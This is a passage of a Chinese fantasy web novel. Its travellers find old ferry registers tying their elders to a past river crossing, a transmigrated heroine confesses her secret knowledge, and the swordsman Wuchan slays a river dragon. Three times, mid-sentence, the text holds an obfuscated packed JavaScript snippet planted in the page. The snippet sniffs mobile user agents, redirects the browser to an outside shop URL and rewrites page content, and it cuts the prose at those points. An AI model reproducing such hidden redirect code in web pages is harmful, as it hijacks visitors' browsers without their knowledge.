船夫闻言,微微偏头,斗笠下的视线平静地落在无忏身上。“嗯?”祂发出一个平淡的音节,仿佛叶玖问了一个多余的问题,“那位……应当清楚吧。”祂的指尖,隔着潮湿的空气,意有所指地虚点了点无忏的方向。 清楚?清楚什么?二十一年前的渡资?江晚莲听得一头雾水,下意识地看向无忏紧绷的侧脸。她忽然想起船夫刚才那句“二十一年前”,又看看无忏那张虽然俊美却明显带着少年锐气、绝不超过二十岁的脸庞,一个荒谬的念头冒了出来。 “可是,”她忍不住上前一步,带着求证般的急切,甚至伸手轻轻拉了拉无忏的衣袖,将他稍稍转向船夫的方向,指着他的脸对那女子说,“他怎么看都不像是有二十岁的样子呀?”说完,她自己都觉得这话在眼下情境里显得格外突兀,还小声补了一句更像吐槽的疑问,“你难不成是什么……童颜老妖怪?” 船夫的目光随着江晚莲的动作,再次聚焦在无忏脸上。这一次,祂的凝视似乎更加专注,祂并非依靠容貌识人。在这黑水河畔,在规则与迷雾之间,祂辨认渡河者的依据,是更深层、更本质的东西——血。 此人身上流淌着的血……那股气息,那铭刻在生命源头的“味道”,分明与二十一年前那个女人一样,祂不会错。血是谁的,在祂眼中,此刻站在这里的“样子”就是谁的延续,无论皮囊如何变幻岁月。 “……”无忏因江晚莲突兀的动作和话语身体微僵,左眼的灼痛尚未完全平息,又被她这近乎“拆台”的举动弄得眉头锁得更紧。他轻轻甩开她的手,向前一步,用自己挺直的身形将她和船夫探究的视线再次隔开,声音因强忍痛楚和某种压抑的情绪而更加低哑,不容置疑地重复: “上船。” 黑发女子静静地看了他片刻,那目光仿佛穿透了他的身躯,直视其内里奔流的血液与更深处的东西。终于,她缓缓颔首: “可。” 祂没有再追问,也没有解释。规矩就是规矩,误认也好,巧合也罢,既然“旧例”被提及且对方接受,交易便成立。她转身,从那盏孤灯下的阴影里,取出两样东西:一张边缘磨损、色泽泛黄得如同陈年骨殖的旧纸,以及一根笔尖蘸着不知名暗红颜料的细小毛笔。那红色在昏黄灯光下,幽暗得近乎发黑,却又隐隐透着一股不祥的生机。 “名册。”她言简意赅,将纸笔置于码头边一块相对平整、生满青苔的断木上,“渡河者,留名。” 四人面面相觑,最终还是叶玖率先上前。她执笔的手极其稳定,在纸上写下“叶玖”二字,墨迹是普通的黑色,微微晕开。李子遥紧随其后,写下了自己的名字,同样墨黑。 轮到江晚莲。她心中莫名忐忑,接过那支笔时,指尖冰凉。笔尖触及纸面,她本能地、郑重地写下属于自己的那个名字——“江晚莲”。然而,诡异的事情发生了!那黑色的墨迹在纸上停留了不到一息,竟如同被纸面吸收又反吐一般,骤然变成了刺目的血红!而且,笔画扭曲变动,最终凝固下来的,赫然是——“江晚怜”! 最后是无忏。他面无表情地接过笔,在名册剩余的空位上,干脆地写下了自己使用的、象征着杀戮与报酬的代号。笔迹凌厉。然而,与江晚莲的情况类似,黑色的字迹瞬间褪去,取而代之的是同样触目惊心的血红,笔画重组,浮现出三个陌生的字: 易临春。 “喂!等等!”李子遥一直盯着看,此刻忍不住叫出声,指着那个血红色的名字,对着船夫嚷嚷,“你搞错了吧?这谁啊?我们这里没人叫‘易临春’!”他看向无忏,又看看那名册,满脸的难以置信。 船夫的目光掠过那血色的“易临春”,又看了看无忏,翠绿的眸子里毫无波澜,仿佛一切理所当然。“这位,”祂再次指向无忏,语气平淡地陈述,“分明二十一年前渡过此河。且非独行,是与另外两位……一同折返。各位,竟不知晓?” 二十一年前,渡河,与另两人一同折返……每一个词都像一记重锤。叶玖的呼吸骤然急促,一个模糊却惊人的猜测在她脑中成形。她强迫自己冷静下来,目光死死锁住那张泛黄的名册,以及旁边那个盛放旧名册的破筐,声音因紧绷而略显干涩: “……阁下,此类名册,是每位渡河者……都需签署留存么?” 船夫点了点头,动作迟缓却肯定:“此乃规矩。”祂随即示意旁边那个半掩在阴影里、以老旧竹条编成的破筐,“历次渡河者名录,皆在其中。若存疑,可自观。只是……年深日久,水汽侵蚀,或有遗失损毁。” 叶玖没有犹豫,立刻动身走向那个破筐。 “师姐?”李子遥不解,但还是跟了过去。江晚莲也按捺不住好奇与不安,看了眼沉默伫立、目光紧锁名册上“易临春”三字的无忏,也挪步靠近。无忏在原地停顿了两秒,最终也默然跟上。 破筐里,堆叠着数十卷或完整或残破的泛黄纸卷,大多潮湿粘连,散发着霉变与岁月混合的古怪气味。叶玖的动作带着一种罕见的急切与郑重,她小心翼翼地翻动,指尖拂过那些或清晰或模糊、或黑或红的名字与记录,目光飞速扫过。 “不是这个……也不是这个……”她喃喃自语,额角渗出细密的汗珠。直到——她的手指触碰到一卷相对厚实、保存也稍好一些的纸卷。 她轻轻展开。 纸面中央,一行字迹映入眼帘,虽经岁月侵蚀略显暗淡,却依然清晰可辨: 「天道三十九年,江寻、易临春、柳长歌三人渡河,皆回,代价……」 后面的字迹被大片晕开的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095887|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水渍彻底污损,模糊一团,无法辨认。 但仅仅是前面这些信息,已足够石破天惊! 叶玖的瞳孔剧烈收缩,握着纸卷的手指因为过度用力而颤抖起来,指节泛白。她猛地抬头,看向船夫,又霍然转头,视线扫过脸色苍白的江晚莲、眉头紧锁的无忏,最后落回名册上那三个血红色的名字——江晚怜、易临春,以及记录中与江寻并列的柳长歌! 江寻!现在十有八九就是江逐义,是她年幼时的救命恩人!柳长歌……这、这分明是她的师尊,凌云门当今掌门,授她毕生所学、沉稳威严的柳长歌! 他们二人……竟然在数十年前,曾一同渡过这凶险莫测的黑水河?!还是与那位名为“易临春”之人共渡? 而那记录……“代价”后面被隐去的,究竟是什么?为何师尊从未提及? 更让她浑身发冷的是,眼前这张新名册上,“江晚怜”与“易临春”的名字是血红色,而旧记录中,天道三十九年那次渡河,三人的名字,竟然也全都是朱砂般的红色笔墨! 红字如果意味着……“已死”或“将死”。 可江寻确实已死。 那师尊呢?易临春呢?无忏呢?还有……此刻站在这里的江姑娘呢?! 江晚莲也彻底惊呆了。她原以为“江逐义”只是背景板里一个神秘的名字,与原主江晚怜的义父“江寻”可能只是巧合同姓。万万没想到,他们根本就是同一人!原主那在漫画中仅被几笔带过、似乎只是为她提供身份背景的义父,竟然是那段尘封史诗的核心主角之一! 等等……江寻、易临春、柳长歌……“长堤柳色入笙歌,临堤鸢影破春初,江风渡岸逐义寻”。 电光石火间,诗句的指向从未如此清晰刺目! “柳色”对“柳长歌”,“鸢影破春初”……“易临春”?也就是“鸢”?!“江风渡岸逐义寻”——正是江寻。 诗句不是预言,不是谶语,它根本就是一段被尘封的、关于这三个曾结伴纵横、又共渡黑水河之人的史诗记录! 所有的线索,所有的谜团,在此刻被这张泛黄的名册和诡异的渡口规则,粗暴而直接地串联在了一起,指向一个深不可测的过往旋涡。而他们四人,尤其是无忏与江晚莲,似乎早已身不由己地,站在了这旋涡的边缘。 河风呜咽,吹动破筐中的故纸沙沙作响,仿佛亡魂的低语。船头那盏孤灯的火苗剧烈晃动了一下,将四人震惊、茫然、骇然交织的脸庞映照得明灭不定。 船夫,始终静立一旁,如同局外的观众,又如同这一切规则的化身,默然等待着他们消化这骇人的发现。 渡河,此刻已不仅仅是为了追寻某个目的。它更像是一次被迫的、向着历史隐秘核心的溯源。而“代价”,正如那被污损的字迹和眼前血色的名字所预示的,早已在无形中,悄然悬挂于每个人的头顶。 71. 坦白 “子时将过,雾气愈浓,各位还是快些上船罢。” 船夫不再多言。祂的声音带着不容置喙、亦不容拖延的意味。话音落时,祂的身影已悄然立于窄小船尾,手中那根老旧竹篙轻轻一点岸边湿泥。那叶仿佛几片朽木拼成、随时会散架的小舟,便随之微微一颤,仿佛一头沉睡的兽被唤醒,在墨绿近黑的水面上不耐地晃动起来。 四人交换了一个短暂的眼神。震惊、疑虑、深重的不安……种种情绪在沉默中激烈冲撞。然而,在这条弥漫着未知与铁则的黑水河前,在船夫那毫无情绪却充满无形压迫的注视下,任何多余的踌躇都显得苍白、徒劳,且可能招致无法预料的危险。 “走。” 叶玖率先做出决断。她压下心头翻腾的惊涛,提一口真气,身形稳住,衣袂轻扬间,已如一片落叶般无声地飘落在那窄小破烂的船舱之中。 李子遥紧随其后,动作虽不如师姐那般举重若轻的飘逸,却也足够稳健。只是当他双足踏上船板时,脚下腐朽的木头立刻发出令人牙酸的“吱呀”呻吟,让他脸色不由自主地白了一瞬。 轮到江晚莲。她看着那不住摇晃、仿佛无根浮萍般的小舟,心脏在胸腔里擂鼓。她深吸一口带着浓重水腥与腐朽气息的空气,学着叶玖的样子,小心翼翼地向船舷探出脚—— “哎!” 就在她足尖堪堪落下的瞬间,船身猛地向一侧倾斜!江晚莲猝不及防,重心顿时向后倒去,惊呼声脱口而出!视野中,那墨绿深沉、仿佛能吞噬一切光线的河水急速逼近,阴冷的不祥气息已扑面而来! 一只修长的手从旁侧骤然探出,五指精准地攥住了她的上臂!力道极大,带着不容抗拒的决断,几乎是半提半拽地将她猛地拉回。江晚莲踉跄着跌进狭窄的船舱,后背撞上冰冷的船板,抬起头,正对上无忏近在咫尺的脸。他眉心微蹙,异色的眼瞳在昏暗光线下晦暗不明,什么也没说,只在她勉强稳住身形后便干脆地松开了手,转身走向船头。 “……谢谢。”江晚莲小声嗫嚅,心跳如狂奔的野马,一半是坠河的余悸,另一半是某种更复杂难言的情绪。她默默在船舱中央蜷缩着坐下,下意识选择了离船头最近、也离那个沉默背影最近的位置。 无忏没有回应。他已静静立于狭窄的船首,身形挺拔如孤绝的崖上松。玄衣与墨发几乎融进前方翻滚涌动的浓雾与幽暗无边的河色里,唯有船尾那盏随波摇曳的昏黄灯笼,在他轮廓边缘勾勒出一道忽明忽灭、脆弱不堪的光边,仿佛随时会被周围的黑暗吞没。 叶玖与李子遥在船舱稍后位置坐下,面朝船尾方向。竹篙轻点,船夫动作老练得不带一丝烟火气,小舟便无声无息地滑离了渡口那点最后的、象征着人间岸界的孤灯光晕,彻底投入黑水河深不见底的怀抱。 周遭骤然被一种绝对的、令人耳膜发胀的静谧包裹。河水流淌竟无声无息,浓得化不开的瘴气如同拥有生命的活物巨毯,从四面八方无声涌来,缠绕、舔舐着单薄的船体。能见度骤降至不足一丈,除了船尾那点倔强摇曳的微弱灯火,和前方无忏那模糊却如礁石般定在船头的背影,目之所及,再无他物。理应存在的对岸、天空、乃至脚下的河水,都消失在无边无际的墨绿交织的混沌里。整个世界仿佛被彻底剥离,只剩下这一叶孤舟,在绝对的虚无与未知之间,无依无靠地漂浮。 船舱内,气氛压抑得令人窒息。 “师姐……”李子遥借着船尾灯笼逸散的微光,注意到叶玖的脸色异常苍白。她嘴唇紧抿成一条直线,眼神失焦地望着船舷外翻涌不休的浓雾,竟透出几分他从未见过的、心神失守般的恍惚。他心头一紧,担忧地低声唤道,“师姐,你、你没事吧?” 叶玖被他的声音骤然拉回现实。她猛地闭了闭眼,再睁开时,眼底翻腾的惊涛骇浪已被强行压回深处,覆上了一层惯有的、冰封般的冷静。“无妨。”她摇头,声音却比平日低哑紧绷了几分。无妨?不,只是将所有的震惊、对眼前迷雾般局势的深深困惑,全部锁死在了心底。她需要真相,需要求证,需要将那些破碎的线索拼合起来。 她的目光,缓缓转向坐在前方、蜷缩着单薄身影的江晚莲。 “江姑娘……”叶玖开口,语气平静,却带着一种前所未有的审慎与穿透力,仿佛要将对方从皮相到魂魄都审视清楚。她顿了顿,改口,准确地吐出那个被对方亲口承认过的名字,“江晚莲。” 江晚莲身体倏然僵硬,像是被无形的针扎了一下。她慢慢地、极其缓慢地转过头。 “你,瞒了我们什么?”叶玖直视着她的眼睛,问得直接而犀利,不留半分转圜余地,“从一开始,我便心存疑虑。师尊的传讯隼从未出错,江家灭门惨案,师门接到的讯息明确记载——‘无一活口’。可你活下来了。你说,是无忏剑下留情,于是你便跟上了他。” 她的语速平缓,却字字清晰,敲打在寂静的河面与每个人的耳膜上:“起初,我信了。虽觉此事匪夷所思,但无忏此人行事,本就难以常理揣度。然而,疑点如附骨之疽,越来越多。且不论你性情举止与之前那个骄纵蛮横的江家小姐判若云泥,更紧要的是……” 叶玖的目光锐利如刀,再次扫过船头无忏那沉默如山的背影,最终重重落回江晚莲骤然间血色尽失的脸上。 “那船夫所言,‘魂光有异,身魂并非完全契合’……以及,祂最后那句断言——” 她一字一顿,清晰地复述,每个音节都像淬了冰的锥子,狠狠凿在江晚莲的心口: “你是‘已死之人’。” 江晚莲浑身冰凉,彻骨的寒意从脚底瞬间蔓延至四肢百骸,仿佛整个人被瞬间掷入万丈冰窟。她张了张嘴,喉咙却干涩紧绷得发不出任何声音,只有细微的、气流摩擦的嘶声。她知道秘密终有曝光的一日,从决定跟随无忏踏上这条未知之路起,她就隐约预感到这脆弱的平衡难以持久。可她万万没料到,揭穿会来得如此之快,如此猝不及防,会是在这孤立无援、前路未卜、如同被世界遗弃的黑水河中央,以如此直接、近乎残酷的方式被当面撕开伪装。 船舱内一片死寂。只有竹篙偶尔划破粘稠水面的、极其细微的“咝”声,以及浓雾如绸缎般流淌过粗糙船舷时,那诡异瘆人的“沙沙”轻响。李子遥瞪大了眼睛,目光在神色冰冷的师姐和面无人色的江晚莲之间来回移动,脸上的表情从最初的担忧,迅速转为震惊,继而沉淀为深深的困惑,以及…本能的警惕。 江晚莲能清晰地感觉到两道灼人的视线钉在自己身上。叶玖的目光冷静、锐利,带着不容欺瞒的审视与质问;李子遥的注视则混杂着难以置信和一种“果然如此”的恍然,或许还有几分被隐瞒的恼怒。 瞒不下去了。 她缓缓地、极其艰难地吐出一口带着浓重河腥味的浊气。她垂下眼帘,避开了那令人无所遁形的注视,声音低微得像一声叹息,飘散在湿冷的雾气里:“我说出来……你们真的会信吗?”她扯动嘴角,露出一个比哭还要难看的苦笑。 穿越?异世之魂?将这些告诉眼前这两个本该属于漫画世界、命运轨迹清晰明朗的“主角”?他们会觉得自己是失心疯的胡言乱语,还是……某种更危险、更该被清除的“异物”? “切!”李子遥忍不住从鼻子里嗤出一声,打破了令人窒息的沉默,语气带着少年人特有的急躁和一种被蒙在鼓里的不耐,“卖什么关子?能有多逆天的秘密?难不成你真是借尸还魂的千年老妖,或者被什么山精野鬼附了身?”话虽说得冲,但他紧握的拳头和微微绷紧的肩膀,却泄露了他内心的紧张。显然,“已死之人”这个来自渡口神秘存在的判词,也让他心底发毛。 江晚莲没有立刻回答。她下意识地,带着一丝自己也说不清的期盼与惶恐,抬起头,望向船头那个始终背对着他们、仿佛与这片死寂天地融为一体的身影。 无忏…… 仿佛感应到她无声的视线,或者说,船舱内的一切对话都未曾逃过他耳,那挺立于船头的背影,缓缓地、极其平稳地,转了过来。 他没有先去看叶玖或李子遥,那双在昏黄摇曳的灯影与浓雾映衬下更显妖异莫测的异色眼瞳,直接越过了狭小的船舱距离,投向了江晚莲。他的脸上依旧没什么多余的表情,但眼神深处,某些东西似乎沉淀了下来,不再是纯粹的漠然或置身事外的观察,而是……一种沉寂的深邃。 江晚莲看着他的眼睛。那里面有她熟悉的疏离,有永远难以捉摸的迷雾,但此刻,似乎还多了一点近乎了然的神色?亦或是某种无声的默许? “凭——”江晚莲深吸一口气,鼓足仅存的勇气,正要开口,试图从纷乱的思绪中寻找一个或许能让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100329|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们理解、哪怕只是勉强接受的起点。 “凭她知道我们不知道的。” 无忏的声音突兀地响起,不高,却清晰地穿透了浓雾与水汽,带着一种陈述事实般的、斩钉截铁的平静,直指核心。他打断了她,也瞬间将叶玖和李子遥全部的注意力牢牢吸了过去。 叶玖的瞳孔微缩。李子遥则一脸茫然:“什么不知道的?知道什么?” 无忏没有解释,目光依旧稳稳落在江晚莲身上,像在等待,又像是在给予她最后一点整理言辞的时间。 江晚莲愣了愣,随即明白了他简略话语下的深意。她朝着叶玖和李子遥点了点头,承认了无忏的说法:“嗯……是这样。我知道一些……或许本不该由我知道的事情。关于过去,一些被掩盖的关联,一些人的……秘密,”她斟酌着用词,极力避开“漫画剧情”、“上帝视角”这类惊世骇俗的表述,“甚至……是一些可能还未发生,或者……会以不同方式发生的‘可能性’。” 她顿了顿,看着叶玖和李子遥脸上愈发凝重、甚至隐隐透出骇然的神色,补充道:“但我必须说清楚,我并非全知全能。我知道的很多也只是碎片……更何况,很多东西已经变得不一样了。” 比如“江晚怜”还活着,无忏当初也没有受伤,叶玖和李子遥现在居然还会与自己同行。 她终于抬起眼,用尽全部力气,迎上叶玖那能洞穿灵魂的审视目光,以及李子遥惊疑不定、却又忍不住好奇的眼神。那个关于“猝死的现代学生江晚莲,一睁眼成了恶名昭著、已死之人江晚怜”的、荒诞离奇却又无比真实的故事……现在好像不得不告诉三个纸片人了。 小舟,依旧在浓得化不开的瘴气与墨绿死寂的河水中,无声滑行,驶向迷雾尽头那全然未知的“对岸”。 “……原是这样。”叶玖闭了闭眼,纤长的睫毛在眼下投出浅浅的阴影。江晚莲从她平静无波的语调里,听不出她究竟是信了,还是只将这当作又一个有待验证的诡异谜团。 寂静,重新笼罩下来,比之前更沉,更重,压得人几乎喘不过气。 突然—— 毫无征兆地,脚下的小舟猛地向一侧剧烈倾斜!仿佛被一只无形的巨手从水底狠狠掀动! 四人同时色变,急忙稳住身形,向外看去。只见船尾空空如也——那始终沉默撑篙的船夫,竟不知何时已消失得无影无踪! 而原本只是墨绿幽深的河面,此刻正下方,一股庞大无匹的阴影正在缓缓上浮,搅动起无声却令人心悸的暗流。河水仿佛沸腾般涌动,却不是因为热度,而是某种纯粹、古老、充满压迫感的生命体正在苏醒。 小舟像狂风中的落叶般疯狂颠簸、旋转,腐朽的木板发出濒临解体的可怕呻吟,冰冷刺骨的河水开始从缝隙涌入。 “跳!”无忏的声音斩断混乱,短促而凌厉,不带半分犹豫。 “子遥!跟紧我!”叶玖反应极快,一把扣住师弟的手腕,另一只手在剧烈摇晃的船舷上轻轻一按,真气流转,已做好凌空腾跃的准备。 “跳?跳哪去啊!下面全是水!喂——!”江晚莲情急之下喊了出来,声音因恐惧而变调。她急匆匆看向无忏,却见对方刚欲动身的身形微微一顿,像是骤然想起了什么。 下一瞬,他竟毫无预兆地转身,一步跨到她身前,手臂一揽—— 江晚莲只觉天旋地转,惊呼声噎在喉咙里,整个人已被他打横抱起!那怀抱坚实而冰冷,带着不容抗拒的力量。 无忏没有再多看脚下即将倾覆的小舟一眼,足尖在船头最后一块尚未没水的木板上轻轻一点,身形如离弦之箭般,抱着江晚莲猛地向上方浓得化不开的瘴气中冲去! “呜哇——!” 江晚莲的惊叫被急速掠过的腥风堵回。而就在他们脱离小舟的刹那,下方墨绿色的河面轰然破开! 浑浊的浪涛冲天而起,伴随着一声低沉得仿佛来自洪荒地底的、令人神魂皆颤的悠长嘶鸣。那搅动河底的巨大阴影,终于彻底浮现—— 在翻腾的瘴气与激荡的水幕之间,江晚莲惊恐的瞳孔里,映出了一截覆盖着厚重玄色鳞片、粗壮如殿柱的蜿蜒身躯,以及一闪而过的、冰冷残酷的暗金色竖瞳。 那竟是一头潜藏于黑水河底、不知沉睡了多少岁月的…… 玄色蛟龙! 72. 心中怒意 “师姐!那到底是什么鬼东西?!”李子遥勉力提气,借着方才跃起之势滞在半空,声音被下方翻涌的腥风扯得破碎。他低头望去,只见墨绿色的河面如同煮沸般翻腾,那截若隐若现的玄色身躯每一次微小的摆动,都引得整个河床仿佛在震颤,水波层层炸开,形成巨大的、无声的漩涡。 “小心——”叶玖的清叱倏然拔高,带着前所未有的紧迫。她手中软剑已然出鞘,剑身如一泓颤动的秋水,横于身前,真气灌注之下,发出低微却清越的嗡鸣。她全身肌肉绷紧,进入了最极致的防御姿态。那蛟龙带来的威压,几乎让她握剑的指节发白。 话音未落—— “吼——!!!” 一声难以用言语形容的怒吼从河底深处炸开!那不是单纯的声音,更像是无数怨魂的尖啸、巨浪的粉碎、岩石的崩裂混合而成的原始咆哮,瞬间震得人气血翻腾,耳中一片嗡鸣,连周围的浓雾都为之震荡、溃散!伴随着这声撼天动地的怒吼,整条黑水河仿佛被彻底激怒,墨绿色的河水不再平静流淌,而是疯狂地倒卷、溅射! 并非普通的水花,那从下方黑水河激射而上的,是无数拳头大小、包裹着一层幽暗光泽的水滴,如同暴雨般劈头盖脸打来!水滴表面流转着不祥的暗芒,散发出强烈的腐蚀与污秽气息。 “不能碰到那些水!子遥,躲开!”叶玖厉声提醒,身形已在空中化作数道残影,以不可思议的柔韧和速度闪避着密集的“雨幕”。然而那腐蚀性的水滴太过密集,范围又广,她纵然身法卓绝,一片飞扬的鹅黄色衣角终究未能幸免。 嗤—— 轻微的、令人毛骨悚然的腐蚀声响起。那片衣角在触碰水滴的瞬间,竟如同被无形的火焰舔舐,眨眼间消融殆尽,边缘呈现出焦黑蜷缩的可怕痕迹,连一丝烟气都未冒出,就那么凭空消失了一块!仿佛被那幽暗水滴从存在层面直接“抹除”了一角! “师姐!!”李子遥看得目眦欲裂,又想冲上前,又忌惮那漫天蚀骨水滴。 “啧,碍事。” 冷淡的、带着明显不耐的嗓音,突兀地切入这混乱惊险的局面。无忏抱着江晚莲的身影,如同暗影般骤然出现在正欲冲向叶玖的李子遥身前。他周身气息凛冽,与下方翻腾的暴戾形成冰冷对峙,仿佛自成一方天地,将那些飞溅的水滴都隔绝在外。 紧接着,他做出了一个让所有人瞬间头脑空白的举动。 他微微垂眸,瞥了一眼怀中因急速升空和眼前剧变而脸色煞白、瞳孔微缩、尚未完全缓过神的江晚莲。然后,环在她腰间和腿弯的手臂,毫无预兆地一松。 “诶?……啊——!!!” 失重感猛地攫住了江晚莲,她短促的惊叫刚刚出口,整个人便已如同断线的纸鸢,朝着下方翻涌着致命黑水和恐怖阴影的墨绿色深渊直坠下去!风声在她耳边尖啸,冰冷的恐惧瞬间攥紧了心脏。 “江晚莲!?”李子遥失声惊呼,不敢相信自己的眼睛。连正忙于应付腐蚀水滴的叶玖,也霍然转头,瞳孔骤缩——在一片浓得化不开的墨黑与幽绿背景中,那一点渺小的、正急速下坠的翠绿色身影,刺眼得令人心头发紧,仿佛下一刻就要被那片狂暴的黑暗彻底吞噬。 要救人!李子遥脑中一片空白,但身体先于思考做出了反应。无论如何,那是一条性命!他顾不得下方危险,真气急转,便要朝那坠落的绿色身影追去。 与此同时,无忏周身的气息为之一变。那柄玄色长剑,不知什么时候已经出鞘在他手中。剑身无光,却如同吸尽了周围所有的暗色,比这黑水河的夜更沉,比蛟龙的鳞更冷。他那双眼瞳,此刻完全锁定下方已然破开水面、显露出狰狞真容的玄色蛟龙。左眼深处,那片血红,不再是若有若无的隐现,而是开始散发出清晰而灼目的红光,在弥漫的瘴气与墨黑水色中,划出令人心悸的轨迹。 龙首处……有弱点! 他足下虚空一点,身形化作一道凌厉无匹的黑色箭矢,挟着左眼那抹惊心动魄的红芒,义无反顾地——直奔那昂首怒吼、散发着洪荒凶威的蛟龙巨首! 剑锋未至,凛冽如实质的杀意已刺破翻腾的水汽,直逼龙睛。蛟龙似被这渺小生灵的挑衅彻底激怒,巨首猛地一摆,遍布厚重玄鳞的脖颈挟着摧山裂石之力横扫而来,带起的腥风足以撕裂精铁。无忏身形却在空中诡异一折,墨色剑光并非硬撼,而是贴着那冰冷鳞片逆流划过,发出令人牙酸的尖锐刮擦声,竟溅起一溜刺目的暗红火花——那鳞甲之坚,超乎想象。 蛟龙志在必得的一记噬咬,竟在无忏左眼红光微闪的瞬间偏了毫厘,巨口擦着他的衣角掠过,咬碎了大片虚空与几滴飞溅的黑水。无忏趁势上掠,墨剑如毒蛇出洞,精准无比地刺向蛟龙的龙首上方——那旧伤所在! 剑尖没入的刹那,并非刺入血肉的闷响,反而像是扎进了一团粘稠坚韧的能量沼泽。蛟龙发出一声惊天动地的痛吼,声浪几乎要掀翻雾气,庞大身躯剧烈翻滚,黑水河面轰然炸开滔天巨浪。无忏借力弹开,顺带将玄剑抽出,他左眼的红光微微摇曳,凝视着因剧痛而更加狂暴、却隐隐显露出一丝衰弱的蛟龙,周身气息沉静如渊,却又隐含着更甚于前的危险锋芒。他看准时机,在蛟龙因剧痛而露出破绽的瞬间,身形再次突进,这一次,剑锋循着那旧伤深处最脆弱的一点能量缝隙,悍然刺入! 蛟龙庞大的身躯骤然僵直,暗金色的竖瞳中凶光急速黯淡,发出一声低沉不甘的哀鸣,随即轰然倒下,砸入墨绿色的河水之中,激起千层浪。那玄色的、覆盖着冰冷鳞片的巨大身躯,竟缓缓沉入又浮起,恰好横亘在河面之上,构成了一条通往对岸的、令人胆寒的“桥梁”。 这一切只发生在几息之间。 另一边,在半空之中心脏狂跳、脑中几乎要开始闪回马灯的江晚莲,忽觉下坠之势一缓,一道鹅黄色的身影带着焦急与决然,险之又险地在她即将触及那翻涌的、散发着腐蚀气息的墨绿河水之前,接住了她。 “无忏怎么想的!?怕不是真的想让你死!”李子遥急促的声音传入江晚莲嗡嗡作响的耳朵,他身形一稳,脚下踩着自己的佩剑,悬停于半空之中,脸色因后怕和愤怒而涨红。他刚才几乎是拼尽全力才赶在最后一刻捞住了人。 江晚莲只觉手脚冰凉,惊魂未定,只能小声地、机械地重复:“我还没死…还没死……”劫后余生的虚脱感让她声音发颤。 “还给我。”无忏的声音又突然出现,冰冷,不容置疑。他也同时踩在自己的玄剑上,悬停在不远处,脸上显出了明显的不悦,甚至可以说是烦躁。他的目光落在李子遥环抱着江晚莲的手臂上,那眼神让李子遥莫名觉得手臂有些刺痛。 “哈?你开什么玩笑!你把人家突然丢下去现在又这样,你把人家命当草吗?”李子遥气得差点从剑上跳起来,下意识将江晚莲护得更紧,带着她又往后退了退,远离无忏,“我看你是疯了!” “刚刚完全不需要你出手,我接的住。”无忏的不悦更明显了,语气硬邦邦的,像是在陈述一个简单的事实,却又透着一股难以言喻的憋闷。他也不知道自己这股烦躁从何而来,只是看到江晚莲被李子遥抱着,听到李子遥那仿佛在指责他害人的话,就觉得异常刺耳。 江晚莲缓过一口气,那点后怕终于彻底转化为了熊熊怒火。她挣了挣,指着无忏,声音因为激动和残留的恐惧而拔高:“你……你知不知道这样很吓人的!?真的会出人命的你知不知道?!”她想起坠落的瞬间那种心脏都要停跳的恐惧,眼眶都气得有些发红。 本来只是不满的无忏,此时听见江晚莲这番带着哭腔的控诉,倒是露出了平时极少见的……错愕般的惊讶。他看着她气得发红的脸颊和微湿的眼角,那股莫名的烦躁感更重了,还混杂进一丝他自己都无法理解的滞涩。他张了张嘴: “可我——” “我难道真的是根草吗?平时你丢一丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100330|193544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算了!这黑水河,你要是接不住我就命丧黄泉了!死了!你知不知道!?”江晚莲越说越气,几乎口不择言。 “……”无忏的声音低了下去,后面的话没能说完。他想说他接着住、想说他有绝对的把握。但他看着江晚莲气得发抖的样子,看着李子遥警惕护着她的姿态,一种从未有过的、近乎憋屈的情绪在他心底蔓延开来。 他明明做了最有效率、最能解决危机的选择,为何会换来这样的指责和……疏远? 叶玖也匆匆赶来,她踩着自己的剑鞘翩然而至,手里依旧握着软剑,气息微乱。赶来过程中,她隐约听见了江晚莲激动的声音。此番见江晚莲虽然脸色发白、惊魂未定,但好在并无大碍,正被李子遥护着,她吊着的心才稍稍放了下来,但看向无忏的眼神也带上了几分不赞同的审视。 “江姑娘,刚刚那蛟龙扇起的水花,可有溅着你?”叶玖压下心中疑虑,先关切地问道。那些水滴的腐蚀性她亲眼所见,若是沾上一点,后果不堪设想。 “没有啊,我‘好’的很!”江晚莲余怒未消,特意加重了那个“好”字,眼角瞥向无忏,语气满是讥诮,“多亏某个人‘果断’把我丢下来,让我差点就‘提前’坠入河底,体验一下什么叫尸骨无存!” 听了这话,叶玖看了看气鼓鼓的江晚莲,又看了眼后方那个脸色绷紧、眼神晦暗、似乎有些……窘迫?或者说,是一种罕见地、因为无法顺畅表达而陷入沉默的无忏。 